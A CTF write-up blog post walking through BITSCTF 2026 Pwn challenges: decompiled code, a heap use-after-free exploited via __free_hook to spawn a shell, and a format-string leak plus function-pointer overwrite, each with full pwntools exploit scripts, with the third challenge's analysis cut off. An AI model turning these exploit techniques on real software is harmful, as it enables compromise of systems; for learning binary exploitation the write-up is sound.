404Gh0st Blog
Overview
BITSCTF 2026

BITSCTF 2026

February 22, 2026
24 min read

Last week, I played BITSCTF 2026 with my team and I managed to sweep the Pwn category. It was a lot of fun, especially since I’m still relatively new to the scene. Each challenge was a solid learning experience and I definitely picked up some cool new tricks along the way.

Pwn

Cider Vault

Description

The Storybook Workshop keeps magical story cards in a fragile old vault. Caretakers can create cards, write words, read chapters, merge pages, and ring the moon bell.

Instancer: http://chals.bitskrieg.in/

Overview

We were provided with the binary, library, description, and docker files.

File Structure
.
├── cider_vault
├── description.md
├── docker-compose.yaml
├── Dockerfile
├── flag.txt
├── ld-linux-x86-64.so.2
├── libc.so.6
└── run.sh
1 directory, 8 files

Let’s patch the binary.

Patching
chmod 755 cider_vault ld-linux-x86-64.so.2 libc.so.6
pwninit --bin cider_vault --ld ld-linux-x86-64.so.2 --libc libc.so.6 --no-template --no-patch-bin

It’s a 64-bit, dynamically linked, non-stripped binary with full protections

checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

It uses GLIBC version 2.31

libc version
strings libc.so.6 | rg 'Ubuntu'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.18) stable release version 2.31.
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0

With the protection and libc version keep in mind, we can start disassembling the binary.

Analysis

main
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rbx
_QWORD *v4; // rax
int v5; // ecx
int v6; // edx
int v7; // esi
int v8; // edx
unsigned int v9; // eax
__int64 *v10; // rbx
unsigned __int64 v11; // r13
__int64 v12; // r15
unsigned __int64 v13; // rbx
ssize_t v14; // rax
unsigned int v15; // eax
__int64 *v16; // r13
unsigned int v17; // ebx
unsigned int v18; // eax
void **v19; // rbx
const __m128i **v20; // r13
size_t v21; // r15
char *v22; // rax
__m128i *v23; // rax
const __m128i *v24; // rdx
unsigned int v25; // eax
void *v26; // rdi
unsigned int v27; // eax
const void **v28; // r13
size_t v29; // rdx
unsigned int num; // eax
_QWORD *v31; // r13
size_t v32; // rbx
void *v33; // rax
void *v35; // [rsp+8h] [rbp-40h]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("\x1B[38;5;213mstorybook-workshop\x1B[0m");
puts("\x1B[38;5;117mOnce upon a midnight, the workshop lamp stayed on.\x1B[0m");
puts("\x1B[38;5;117mPages still wake when someone whispers to the book.\x1B[0m");
puts("\x1B[38;5;228mFind the hidden ending before the moonlight fades.\x1B[0m");
while ( 1 )
{
v3 = vats;
__printf_chk(1, "\x1B[38;5;213m\n[Storybook Workshop]\x1B[0m ");
v4 = vats;
v5 = 0;
do
{
v6 = v5 + 1;
if ( *v4 )
{
v7 = v5 + 2;
++v5;
v6 = v7;
}
v4 += 2;
}
while ( v4 != (_QWORD *)16672 );
__printf_chk(1, "\x1B[38;5;228mChapter %d\x1B[0m ", v6);
v8 = 0;
do
{
v8 -= (*v3 == 0) - 1;
v3 += 2;
}
while ( v3 != (_QWORD *)16672 );
__printf_chk(1, "\x1B[38;5;117m(cards alive: %d)\n\x1B[0m", v8);
puts("\x1B[38;5;120m1) open page - start a fresh story page\x1B[0m");
puts("\x1B[38;5;120m2) paint page - pour ink onto a page\x1B[0m");
puts("\x1B[38;5;120m3) peek page - read what the page remembers\x1B[0m");
puts("\x1B[38;5;120m4) tear page - rip a page from the book\x1B[0m");
puts("\x1B[38;5;120m5) stitch pages - sew two pages into one tale\x1B[0m");
puts("\x1B[38;5;120m6) whisper path - retie where a page points\x1B[0m");
puts("\x1B[38;5;120m7) moon bell - ring the workshop bell\x1B[0m");
puts("\x1B[38;5;120m8) goodnight - close the storybook\x1B[0m");
puts("> ");
switch ( get_num() )
{
case 1LL:
puts("page id:");
num = get_num();
if ( num > 0xB )
goto LABEL_37;
v31 = &vats[2 * (int)num];
if ( *v31 )
goto LABEL_37;
puts("page size:");
v32 = get_num();
if ( v32 - 128 > 0x4A0 )
goto LABEL_37;
v33 = malloc(v32);
*v31 = v33;
if ( !v33 )
goto LABEL_42;
v31[1] = v32;
puts("ok");
continue;
case 2LL:
puts("page id:");
v9 = get_num();
if ( v9 > 0xB )
goto LABEL_37;
v10 = &vats[2 * (int)v9];
if ( !*v10 )
goto LABEL_37;
puts("ink bytes:");
v11 = get_num();
if ( v11 > v10[1] + 128 )
goto LABEL_37;
puts("ink:");
v12 = *v10;
v13 = 0;
if ( !v11 )
goto LABEL_18;
do
{
v14 = read(0, (void *)(v12 + v13), v11 - v13);
if ( v14 <= 0 )
LABEL_16:
exit(0);
v13 += v14;
}
while ( v11 > v13 );
LABEL_18:
puts("ok");
break;
case 3LL:
puts("page id:");
v27 = get_num();
if ( v27 > 0xB )
goto LABEL_37;
v28 = (const void **)&vats[2 * (int)v27];
if ( !*v28 )
goto LABEL_37;
puts("peek bytes:");
v29 = get_num();
if ( v29 > (unsigned __int64)v28[1] + 128 )
goto LABEL_37;
write(1, *v28, v29);
puts("");
continue;
case 4LL:
puts("page id:");
v25 = get_num();
if ( v25 > 0xB )
goto LABEL_37;
v26 = (void *)vats[2 * (int)v25];
if ( !v26 )
goto LABEL_37;
free(v26);
puts("ok");
continue;
case 5LL:
puts("first page:");
v17 = get_num();
puts("second page:");
v18 = get_num();
if ( v18 > 0xB )
continue;
if ( v17 > 0xB )
continue;
v19 = (void **)&vats[2 * (int)v17];
if ( !*v19 )
continue;
v20 = (const __m128i **)&vats[2 * (int)v18];
if ( !*v20 )
continue;
v21 = (size_t)v19[1] + 32;
v35 = v19[1];
v22 = (char *)realloc(*v19, v21);
if ( !v22 )
LABEL_42:
exit(1);
*v19 = v22;
v23 = (__m128i *)&v22[(_QWORD)v35];
v24 = *v20;
*v23 = _mm_loadu_si128(*v20);
v23[1] = _mm_loadu_si128(v24 + 1);
v19[1] = (void *)v21;
puts("ok");
continue;
case 6LL:
puts("page id:");
v15 = get_num();
if ( v15 <= 0xB && (v16 = &vats[2 * (int)v15], *v16) )
{
puts("star token:");
*v16 = get_num() ^ 0x51F0D1CE6E5B7A91LL;
puts("ok");
}
else
{
LABEL_37:
puts("no");
}
continue;
case 7LL:
_IO_wfile_overflow(stderr, 88);
goto LABEL_18;
case 8LL:
goto LABEL_16;
default:
puts("?");
continue;
}
}
}

It provides a menu to manage a global array vats (located in .bss ) of 12 “pages”, where each page holds a pointer to a dynamically allocated heap chunk and its allocated size. From this line of codes

main
puts("page id:");
num = get_num();
if ( num > 0xB )
goto LABEL_37;
v31 = &vats[2 * (int)num];
if ( *v31 )
goto LABEL_37;
puts("page size:");
v32 = get_num();
if ( v32 - 128 > 0x4A0 )
goto LABEL_37;
v33 = malloc(v32);
*v31 = v33;
if ( !v33 )
goto LABEL_42;
v31[1] = v32;

v31 is 2 byte variable which makes the internal structure array essentially looks like:

Page Struct
struct Page {
void *ptr;
size_t size;
} vats[12];

The menu options allow the user to allocate open page, write paint page, read peek page, free tear page, reallocate stitch pages, and overwrite array pointers whisper path. Additionally, there is a moon bell function that triggers an explicit _IO_wfile_overflow call on stderr.

Vulnerabilities

1. UAF
main
case 4LL:
puts("page id:");
v25 = get_num();
if ( v25 > 0xB )
goto LABEL_37;
v26 = (void *)vats[2 * (int)v25];
if ( !v26 )
goto LABEL_37;
free(v26);
puts("ok");
continue;

In tear page option, the memory is freed but the pointer is not cleared, so it can be used for UAF.

Exploit Strategy

1. Libc Leak

In open page option, we can allocate a memory up to 0x520 bytes, so we can allocated unsorted bin size, free it and read the content to leak libc address which is main_arena+96 for unsorted bin.

Leaking Libc
open_page(0, 0x420)
open_page(1, 0x100) # prevent top consolidation
tear_page(0)
peek_page(0, 8)

Because the Libc version is 2.31, the __free_hook is available and tcache doesn’t have safe linking protection. Now we need to find a write primitive.

2. Write Primitive

The option 6 whisper path can be used to overwrite the array pointer.

main
case 6LL:
puts("page id:");
v15 = get_num();
if ( v15 <= 0xB && (v16 = &vats[2 * (int)v15], *v16) )
{
puts("star token:");
*v16 = get_num() ^ 0x51F0D1CE6E5B7A91LL;
puts("ok");
}
else
{
LABEL_37:
puts("no");
}
continue;

It will replace the chosen array pointer with an input xored with 0x51F0D1CE6E5B7A91. We can use it to replace our chosen array pointer with the address of __free_hook then use pain page to write libc system address to it. Then free a page that has /bin/sh\x00 content to spawn a shell.

Note

The program validates sizes during paint page write and peek page read, but the checks intentionally allow an extra 128 bytes of out-of- bounds access past the requested size.

OOB Check
...
if ( ink_bytes > vats[2 * id + 1] + 128 )
goto LABEL_37;

This permits both a Heap Buffer Overflow 128 bytes and an OOB Read 128 bytes. But we don’t need it because we already have UAF

I think my exploit is unintended because we have AAR, AAW, and option 7 moon beel that call _IO_wfile_overflow(stderr, 88) which can be used for FSOP. Either way, here is my exploit:

solve.py
# GLIBC 2.31 no safe linking and hooks are available
# UAF -> __free_hook overwrite
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug(
[exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw
)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def open_page(pid, size):
p.sendlineafter(b"> \n", b"1")
p.sendlineafter(b"id:\n", str(pid).encode())
p.sendlineafter(b"size:\n", str(size).encode())
def paint_page(pid, size, content):
p.sendlineafter(b"> \n", b"2")
p.sendlineafter(b"id:\n", str(pid).encode())
p.sendlineafter(b"bytes:\n", str(size).encode())
p.sendafter(b"ink:\n", content)
def peek_page(pid, size):
p.sendlineafter(b"> \n", b"3")
p.sendlineafter(b"id:\n", str(pid).encode())
p.sendlineafter(b"bytes:\n", str(size).encode())
return p.recv(size)
def tear_page(pid):
p.sendlineafter(b"> \n", b"4")
p.sendlineafter(b"id:\n", str(pid).encode())
def whisper_path(pid, target):
p.sendlineafter(b"> \n", b"6")
p.sendlineafter(b"id:\n", str(pid).encode())
p.sendlineafter(b"token:\n", str(target ^ 0x51F0D1CE6E5B7A91).encode())
gdbscript = """
init-gef
continue
""".format(**locals())
exe = "./cider_vault_patched"
elf = context.binary = ELF(exe, checksec=False)
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]
p = start()
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
open_page(0, 0x410)
open_page(
1, 0x100
) # For prevent consolidation and overwrite chunk ptr using whisper_path
open_page(2, 0x100) # For triggering __free_hook
tear_page(0)
main_arena_leak = unpack(peek_page(0, 8).ljust(8, b"\x00"))
libc.address = main_arena_leak - 0x1ECBE0
log.info(f"Main Arena Leak : {hex(main_arena_leak)}")
log.info(f"Libc Base : {hex(libc.address)}")
log.info(f"Free Hook : {hex(libc.sym['__free_hook'])}")
whisper_path(1, libc.sym["__free_hook"]) # Overwrite chunk_ptr in global array
paint_page(
1, 8, p64(libc.sym["system"])
) # Now we can write directory to the __free_hook
paint_page(2, 8, b"/bin/sh\x00")
tear_page(2)
p.interactive()
Output
python solve.py REMOTE chals.bitskrieg.in 48370
[+] Opening connection to chals.bitskrieg.in on port 48370: Done
[*] Main Arena Leak : 0x7f249105bbe0
[*] Libc Base : 0x7f2490e6f000
[*] Free Hook : 0x7f249105de48
[*] Switching to interactive mode
$ cat flag.txt
BITSCTF{afb206230c368f8c1adc2def2fc1f5cb}
BITSCTF{afb206230c368f8c1adc2def2fc1f5cb}

Orbital Relay

Description

An emergency relay node is still online after a key-rotation failure. The uplink accepts only framed packets with session integrity checks, and drops malformed traffic silently.

Blue team reports indicate the attacker never bypassed crypto directly, but still obtained execution in the relay process.

nc 20.193.149.152 1339

Overview

We were provided with the binary, library, description, and docker files.

File Structure
├── description.md
├── docker-compose.yaml
├── Dockerfile
├── flag.txt
├── orbital_relay
└── run
1 directory, 6 files

It’s a 64-bit, dynamically linked, non-stripped binary with full protections

checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

The description has additional information about protocol specification.

description.md
# Orbital Relay
An emergency relay node is still online after a key-rotation failure. The uplink accepts only framed packets with session integrity checks, and drops malformed traffic silently.
Blue team reports indicate the attacker never bypassed crypto directly, but still obtained execution in the relay process.
## Protocol Spec (Basic)
- Transport: raw TCP stream.
- Handshake: client must send exact ASCII `SYNCv3?` (7 bytes). Server replies with a 4-byte session value.
- Framing: each message is:
- `chan` (`u8`)
- `flags` (`u8`)
- `len` (`u16`, little-endian)
- `mac` (`u32`, little-endian)
- `payload` (`len` bytes)
- Integrity: every frame must include a valid session-bound `mac`, or it is ignored.
## Channels
- `chan=3`: auth/setup channel.
- `chan=1`: diagnostics TLV channel.
- `chan=2`: ticket processing channel.
- `chan=9`: session teardown.
## TLV Format (chan=1)
- Payload is a sequence of:
- `tag` (`u8`)
- `size` (`u8`)
- `value` (`size` bytes)
- Common tags:
- `0x10`: route/config blob
- `0x22`: level/state byte
- `0x30`: 4-byte state token
- `0x31`: 8-byte relay field
- `0x40`: emit/apply action

According to the description this won’t be a pure pwn challenge, but it has some crypto involved. With the description and protections in mind, we can start analyzing the binary.

Analysis

main
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // eax
char v5; // r8
unsigned __int16 v6; // bx
size_t v7; // rdi
_DWORD *v8; // rax
_DWORD *v9; // rbp
void (*v10)(void); // rax
_BYTE v11[2]; // [rsp+8h] [rbp-40h] BYREF
unsigned __int16 v12; // [rsp+Ah] [rbp-3Eh]
int v13; // [rsp+Ch] [rbp-3Ch]
_QWORD v14[7]; // [rsp+10h] [rbp-38h] BYREF
v14[1] = __readfsqword(0x28u);
setbuf(stdin, nullptr);
setbuf(stdout, nullptr);
setbuf(stderr, nullptr);
qword_406E = 0;
qword_40E4 = 0;
memset(
(void *)((unsigned __int64)&unk_4076 & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsigned int)&qword_406E - (unsigned int)((unsigned __int64)&unk_4076 & 0xFFFFFFFFFFFFFFF8LL) + 126) >> 3));
v14[0] = 0;
qmemcpy(&st, "relay://status", 14);
readn(v14, 7);
if ( LODWORD(v14[0]) == 1129208147 && *(_DWORD *)((char *)v14 + 3) == 1060337219 )
{
sess = 1145258561;
LODWORD(qword_40E4) = 673332004;
dword_40E0 = mix32(991242259, &sess);
cb_enc = enc_cb(noop);
write(1, &sess, 4u);
while ( 1 )
{
readn(v11, 8);
v6 = v12;
if ( v12 > 0x500u )
break;
v7 = 1;
if ( v12 )
v7 = v12;
v8 = malloc(v7);
v9 = v8;
if ( !v8 )
break;
if ( v6 )
{
readn(v8, v6);
v6 = v12;
}
v4 = mac32(v9, v6, v11[0], v11[1], v11[0]);
if ( v13 == v4 )
{
switch ( v5 )
{
case 3:
if ( v6 == 4 && ((unsigned int)mix32(sess ^ (unsigned int)qword_40E4, v6) ^ 0x31C3B7A9) == *v9 )
WORD2(qword_40E4) = 257;
break;
case 1:
handle_diag(v9, v6);
break;
case 2:
handle_ticket(v9, v6);
break;
case 9:
if ( BYTE5(qword_40E4) && BYTE4(qword_40E4) > 2u )
{
v10 = (void (*)(void))enc_cb(cb_enc);
v10();
}
free(v9);
return 0;
}
}
free(v9);
}
}
return 0;
}

The program will accept 7 bytes user input and check if it is equal to 1129208147 and user input + 3 equal to 1060337219. This just check if the user input match SYNCv3? or not because the previous values are just the litte endian representation of SYNCv3?. After that it will print sess value to the stdout, this value is hardcoded to 1145258561 or ABCD in string. After that, it will call mix32(991242259, &sess).

main
dword_40E0 = mix32(991242259, &sess);
mix32
__int64 __fastcall mix32(int a1)
{
return a1
^ (a1 << 13)
^ ((a1 ^ (unsigned int)(a1 << 13)) >> 17)
^ (32 * (a1 ^ (a1 << 13) ^ ((a1 ^ (unsigned int)(a1 << 13)) >> 17)));
}

Looks like mix32 only accepts one argument so the sess won’t contribute anything. Because the first argument is hardoced 991242259 we can just reconstruct the logic.

Reconstructed mix32
def mix32(x):
x &= 0xFFFFFFFF
x ^= (x << 13) & 0xFFFFFFFF
x ^= (x >> 17) & 0xFFFFFFFF
x ^= (x << 5) & 0xFFFFFFFF
return x

We mask it with 0xFFFFFFFF to ensure the result is a 32-bit integer.

The dword_40E0 and qword_40E4are crucial because it will be used inside enc_cb function.

enc_cb
// Alternative name is 'dec_cb'
unsigned __int64 __fastcall enc_cb(__int64 a1)
{
return (unsigned int)qword_40E4 ^ a1 ^ ((unsigned __int64)(unsigned int)dword_40E0 << 32) ^ 0x9E3779B97F4A7C15LL;
}

Because both are hardcoded values, we can just reconstruct the logic for future use.

Reconstructed enc_cb
def enc_cb(a1, qword_lower, dword):
return (qword_lower ^ a1 ^ (dword << 32) ^ 0x9E3779B97F4A7C15) & 0xFFFFFFFFFFFFFFFF

We mask it with 0xFFFFFFFFFFFFFFFF to ensure the result is a 64-bit unsigned integer. After that, the program will accepts 8 bytes user input. We can refer to the previous description for the bytes frame.

Protocol Framing
- Framing: each message is:
- `chan` (`u8`)
- `flags` (`u8`)
- `len` (`u16`, little-endian)
- `mac` (`u32`, little-endian)
- `payload` (`len` bytes)

The current pseudocode is hard to read, so I will create a struct type.

Header Struct
struct message_header
{
unsigned __int8 chan;
unsigned __int8 flags;
unsigned __int16 len;
unsigned __int32 mac;
};

Now it becomes much easier to read.

main
while ( 1 )
{
readn(&header, 8);
len = header.len;
if ( header.len > 0x500u )
break;
v7 = 1;
if ( header.len )
v7 = header.len;
payload = malloc(v7);
ref_payload = payload;
if ( !payload )
break;
if ( len )
{
readn(payload, len);
len = header.len;
}
v4 = mac32(ref_payload, len, header.chan, header.flags, header.chan);
if ( header.mac == v4 )
{
switch ( v5 )
{
case 3:
if ( len == 4 && ((unsigned int)mix32(sess ^ (unsigned int)qword_40E4) ^ 0x31C3B7A9) == *ref_payload )
WORD2(qword_40E4) = 257;
break;
case 1:
handle_diag(ref_payload, len);
break;
case 2:
handle_ticket(ref_payload, len);
break;
case 9:
if ( BYTE5(qword_40E4) && BYTE4(qword_40E4) > 2u )
{
v10 = (void (*)(void))enc_cb(cb_enc);
v10();
}
free(ref_payload);
return 0;
}
}
free(ref_payload);
}

It will try to allocate memory for the payload and read the payload from the user input. After that it will check if the mac is valid. If it is valid, it will call the handle_diag, handle_ticket, or enc_cb function based on the chan value. Again, we can just reconstruct the mac32 function.

mac32
__int64 __fastcall mac32(unsigned __int8 *a1, __int64 a2, unsigned __int8 a3, unsigned __int8 a4)
{
__int64 result; // rax
unsigned __int8 *v5; // rsi
int v6; // edx
result = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9;
if ( a2 )
{
v5 = &a1[a2];
do
{
v6 = *a1++;
result = (unsigned int)(v6 + 61) ^ __ROL4__(result, 7);
}
while ( v5 != a1 );
}
return result;
}
Reconstructed mac32
def mac32(payload, a3, a4, sess):
res = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9
for b in payload:
res = ((res << 7) | (res >> (32 - 7))) & 0xFFFFFFFF
res ^= (b + 61) & 0xFFFFFFFF
return res

Channel 1 is using the payload as the TLV.

TLV Format
## TLV Format (chan=1)
- Payload is a sequence of:
- `tag` (`u8`)
- `size` (`u8`)
- `value` (`size` bytes)
- Common tags:
- `0x10`: route/config blob
- `0x22`: level/state byte
- `0x30`: 4-byte state token
- `0x31`: 8-byte relay field
- `0x40`: emit/apply action
handle_diag
void __fastcall handle_diag(char *a1, unsigned __int16 a2)
{
int v2; // r10d
char v3; // al
int v4; // ebx
int v5; // ebp
__int64 v6; // r9
int v7; // ebx
int v8; // edx
__int64 v9; // rcx
unsigned int v10; // r11d
char v11; // al
char v12; // r8
__int64 v13; // rcx
if ( a2 > 1u )
{
v2 = (unsigned __int8)a1[1];
v3 = *a1;
v4 = v2;
if ( a2 >= v2 + 2 )
{
v5 = 2;
v6 = 2;
do
{
if ( v3 == 0x10 && (v4 & 0x80u) == 0 )
{
if ( (_BYTE)v4 )
{
LODWORD(v9) = 0;
v10 = qword_40E4 ^ dword_40E0;
do
{
v11 = kbyte(v10, v9);
*((_BYTE *)&st + v13) = v11 ^ v12;
v9 = v13 + 1;
}
while ( (unsigned __int8)v4 != v9 );
}
v7 = v5 + v4;
*((_BYTE *)&st + v2) = 0;
if ( (unsigned __int16)v7 + 1 >= a2 )
return;
}
else
{
if ( v3 == 0x22 && (_BYTE)v4 )
{
BYTE4(qword_40E4) = a1[(unsigned __int16)v5] & 7;
}
else if ( v3 == 0x30 && (_BYTE)v4 == 4 )
{
dword_40E0 ^= mix32(*(_DWORD *)&a1[(unsigned __int16)v5] + (int)qword_40E4);
}
else if ( v3 == 0x31 && (_BYTE)v4 == 8 )
{
cb_enc = *(_QWORD *)&a1[(unsigned __int16)v5];
}
else if ( v3 == 0x40 && BYTE5(qword_40E4) && BYTE4(qword_40E4) > 1u )
{
__printf_chk(2, &st, (unsigned int)dword_40E0, &st, keep_win, v6);
puts(byte_2036);
}
v7 = v5 + v4;
if ( (unsigned __int16)v7 + 1 >= a2 )
return;
}
v5 = v7 + 2;
v6 = (unsigned __int16)(v7 + 2);
v3 = a1[(unsigned __int16)v7];
v2 = (unsigned __int8)a1[(unsigned __int16)(v7 + 1)];
v8 = (unsigned __int16)(v7 + 2) + v2;
v4 = v2;
}
while ( v8 <= a2 );
}
}
}

Certain commands require the server to be in an elevated state before they can run. Specifically, the server checks if BYTE4 and BYTE5 of qword_40E4 are set to specific values.

• Command Type 3 (Auth): If we send Command 3 with a payload matching a specific mathematical formula mix32(sess ^ qword_40E4) ^ 0x31C3B7A9, the server sets BYTE4=1 and BYTE5=1 . • Command Type 1, Tag 34 0x22: In the TLV parser, Tag 34 allows us to directly overwrite BYTE4 of qword_40E4 with Payload[0] & 7 .

By chaining these two commands, we can easily bypass all internal authorization checks required for the later stages.

Vulnerabilities

1. Format String

The Diagnostic TLV parser has two tags that create a Format String Vulnerability:

• Tag 16 0x10: Reads an encrypted string from the payload, decrypts it using a custom stream cipher kbyte, and writes it into a global string buffer st 0x4060. Because we know the predictable cryptographic state, we can pre-encrypt any string we want %p %p %p so it decrypts perfectly into st. • Tag 64 0x40: Triggers a debugging function that calls printf(st, dword_40E0, st, keep_win).

Because we fully control the format string st, we can insert format specifiers like %p to print the values of CPU registers.

In Linux x86-64, the 4th argument to printf is stored in the r8 register.

Notice that the 4th argument passed here is keep_win. keep_win is a global variable that holds the relocated, actual memory address of the win() function.

By sending the decrypted payload %p %p %p to the server, printf will output three pointers. The third pointer printed will be the leaked address of win(). We can subtract its static offset 0x1630 to calculate the exact random base address of the binary in memory.

2. Arbitrary Function Pointer Overwrite

Now that we know exactly where the win() function is located, we need a way to force the program to execute it.

The TLV parser contains a critical flaw in Tag 49 0x31:

• If Tag 49 receives a payload of exactly 8 bytes, it directly copies those 8 bytes into a global function pointer named cb_enc. No bounds checking or validation is performed on what is written here.

Exploit Strategy

Finally, the server implements Command Type 9. When triggered, Command 9 does the following:

  1. Reads the function pointer from cb_enc .
  2. Decrypts the pointer using a custom XOR cipher enc_cb.
  3. Executes the decrypted pointer.

The enc_cb decryption routine simply XORs the pointer with qword_40E4 ^ (dword_40E0 << 32) ^ 0x9E3779B97F4A7C15.

Since we know all of these constants, and we now know the address of win(), we can perform the XOR operation backwards to encrypt the win() address. We then use Tag 49 to write our encrypted win() address into cb_enc.

When we send Command 9, the server decrypts our pointer (turning it back into the valid win() address) and jumps to it, printing the flag.

Here’s the exploit script

solve.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug(
[exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw
)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def sl(data):
p.sendline(data)
def sla(after, data):
p.sendlineafter(after, data)
def s(data):
p.send(data)
def sa(after, data):
p.sendafter(after, data)
def mac32(payload, a3, a4, sess):
res = a4 ^ sess ^ (a3 << 16) ^ 0x9E3779B9
for b in payload:
res = ((res << 7) | (res >> (32 - 7))) & 0xFFFFFFFF
res ^= (b + 61) & 0xFFFFFFFF
return res
def mix32(x):
x &= 0xFFFFFFFF
x ^= (x << 13) & 0xFFFFFFFF
x ^= (x >> 17) & 0xFFFFFFFF
x ^= (x << 5) & 0xFFFFFFFF
return x
def kbyte(state, i):
return mix32((state + i * 0x45D9F3B) & 0xFFFFFFFF) & 0xFF
def enc_cb(a1, qword_lower, dword):
return (qword_lower ^ a1 ^ (dword << 32) ^ 0x9E3779B97F4A7C15) & 0xFFFFFFFFFFFFFFFF
def send_pkt(io, cmd_type, payload, a4=0, sess=0x44434241):
payload_len = len(payload)
mac = mac32(payload, cmd_type, a4, sess)
header = p8(cmd_type) + p8(a4) + p16(payload_len) + p32(mac)
io.send(header + payload)
gdbscript = """
init-gef
continue
""".format(**locals())
exe = "./orbital_relay"
elf = context.binary = ELF(exe, checksec=False)
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]
p = start()
# libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
# 1. Handshake
p.send(b"SYNCv3?")
sess_bytes = p.recvn(4)
sess = u32(sess_bytes)
log.success(f"Session ID: {hex(sess)}")
# Internal state constants
qword_40E4_init = 0x28223B24
dword_40E0_init = mix32(0x3B152813) # 0x5CF7E418
# 2. Set WORD2(qword_40E4) = 257 (BYTE4=1, BYTE5=1) using Cmd 3
payload_cmd3 = (mix32(sess ^ qword_40E4_init) ^ 0x31C3B7A9) & 0xFFFFFFFF
send_pkt(p, 3, p32(payload_cmd3), 0, sess)
qword_40E4 = qword_40E4_init | (0x0101 << 32)
# 3. Format string to leak PIE
# We send Command 1 (Diag) with TLV payload
# Tag 34 (0x22): set BYTE4 to 7
tlv_34 = p8(0x22) + p8(1) + p8(7)
# Tag 16 (0x10): write to `st`
# We need to encrypt the payload with `kbyte`
fmt_str = b"%p %p %p"
tlv_16_payload = bytearray()
# kbyte state: (qword_40E4_lower ^ dword_40E0)
kbyte_state = (qword_40E4 & 0xFFFFFFFF) ^ dword_40E0_init
for i, b in enumerate(fmt_str):
k = kbyte(kbyte_state, i)
tlv_16_payload.append(b ^ k)
tlv_16 = p8(0x10) + p8(len(fmt_str)) + tlv_16_payload
# Tag 64 (0x40): trigger printf
tlv_64 = p8(0x40) + p8(0)
diag_payload = tlv_34 + tlv_16 + tlv_64
send_pkt(p, 1, diag_payload, 0, sess)
# The output will be: `0x... 0x... 0x...`
leak_str = p.recvline().strip()
try:
leak_parts = leak_str.split(b" ")
keep_win_addr = int(leak_parts[-1], 16)
log.success(f"Leaked keep_win_addr: {hex(keep_win_addr)}")
except (ValueError, IndexError):
log.error(f"Failed to parse leak: {leak_str}")
exit(1)
pie_base = keep_win_addr - 0x1630
log.success(f"PIE base: {hex(pie_base)}")
win_addr = pie_base + 0x1630
# 4. Overwrite cb_enc (Tag 49 / 0x31)
# The current state of qword_40E4 has BYTE4=7, BYTE5=1.
# Lower 32 bits are still 0x28223B24.
encrypted_win = enc_cb(win_addr, qword_40E4_init, dword_40E0_init)
tlv_49 = p8(0x31) + p8(8) + p64(encrypted_win)
send_pkt(p, 1, tlv_49, 0, sess)
# 5. Execute (Command 9)
send_pkt(p, 9, b"", 0, sess)
p.interactive()
Output
python solve.py REMOTE 20.193.149.152 1339
[+] Opening connection to 20.193.149.152 on port 1339: Done
[+] Session ID: 0x44434241
[+] Leaked keep_win_addr: 0x632586c56630
[+] PIE base: 0x632586c55000
[*] Switching to interactive mode
BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}
BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Midnight Relay

Description

A fallback relay was brought online during a midnight outage.

nc 20.193.149.152 1338

Overview

We were provided with the binary, library, description, and docker files.

File Structure
.
├── description.md
├── docker-compose.yaml
├── Dockerfile
├── flag.txt
├── midnight_relay
└── run
1 directory, 6 files

It is a 64-bit, dynamically linked, non-stripped binary with full protections enabled.

Terminal window
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

According to the challenge description:

description.md
# Midnight Relay
A fallback relay was brought online during a midnight outage.
## Protocol Spec
- Transport: raw TCP stream.
- Banner: `midnight-relay\n`.
- Packet format:
- `op` (`u8`)
- `key` (`u8`)
- `len` (`u16`, little-endian)
- `payload` (`len` bytes)
- Integrity:
- `key` is a 1-byte checksum of payload with an internal rolling epoch.
- Invalid key packets are dropped silently.

The server processes a custom protocol continuously. It accepts 4-byte packet headers followed by a payload length. It has a custom checksum implemented via a global epoch variable state which rotates on successful payload execution.

Analysis

First, the server will read the cookie variable from /dev/urandom

main
...
v3 = open("/dev/urandom", 0);
if ( v3 >= 0 )
{
v37 = v3;
if ( read(v3, &cookie, 8u) != 8 )
*(_QWORD *)&cookie = 0x74776F5F73756ELL;
close(v37);
}
else
{
*(_QWORD *)&cookie = 0x74776F5F73756ELL;
}
srand(cookie);
write(1, "midnight-relay\n", 0xFu);

Then it enters a continuous while ( 1 ) loop that accepts user structures.

To make things readable we can define a message header struct:

Header Struct
struct message_header
{
unsigned __int8 op;
unsigned __int8 key;
unsigned __int16 len;
};

The loop will read the 4 byte header, allocate len bytes for the payload using calloc, read the payload, and finally check the checksum key to the calculated value.

main
if ( header.len )
{
v11 = payload;
v12 = epoch;
do
v12 = *v11++ ^ (v12 >> 2) ^ (8 * v12) ^ 0x71; // calc checksum
while ( &payload[header.len] != v11 );
if ( header.key != (_BYTE)v12 )
